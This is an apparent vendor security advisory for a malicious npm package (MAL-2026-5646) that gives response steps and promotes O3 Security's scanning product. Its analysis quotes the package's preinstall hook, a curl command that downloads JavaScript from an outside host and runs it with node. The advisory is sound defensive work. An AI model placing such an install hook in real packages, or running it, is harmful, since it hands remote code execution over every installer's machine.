sn-internal-testjgsakjdkjadkjahsdkjadnpm
sn-internal-testjgsakjdkjadkjahsdkjad is a confirmed malicious npm package (MAL-2026-5646) that executes malicious code on install (malicious version 2.1.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in sn-internal-testjgsakjdkjadkjahsdkjad (npm)
What this malware does
package.json declares a preinstall lifecycle hook that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On any npm install, the script fetches an unpinned, mutable JavaScript file from poc.amanrawat.com over plain HTTPS and immediately executes it with node under the installer's user account. There is no hash or signature verification, no version pinning, and the destination is not a recognized runtime/CDN or publisher-owned host. The package name (sn-internal-testjgsakjdkjadkjahsdkjad), description ("This is our internal app for testing"), and the poc. (proof-of-concept) hostname indicate this is a dependency-confusion / supply-chain PoC, but the install-time payload is a real and unconditional remote-code-execution primitive against any installer.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for sn-internal-testjgsakjdkjadkjahsdkjad (version 2.1.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging sn-internal-testjgsakjdkjadkjahsdkjad across your stack and pipelines.
If you installed it — respond
Remove sn-internal-testjgsakjdkjadkjahsdkjad from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If sn-internal-testjgsakjdkjadkjahsdkjad was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks sn-internal-testjgsakjdkjadkjahsdkjad before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks sn-internal-testjgsakjdkjadkjahsdkjad-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.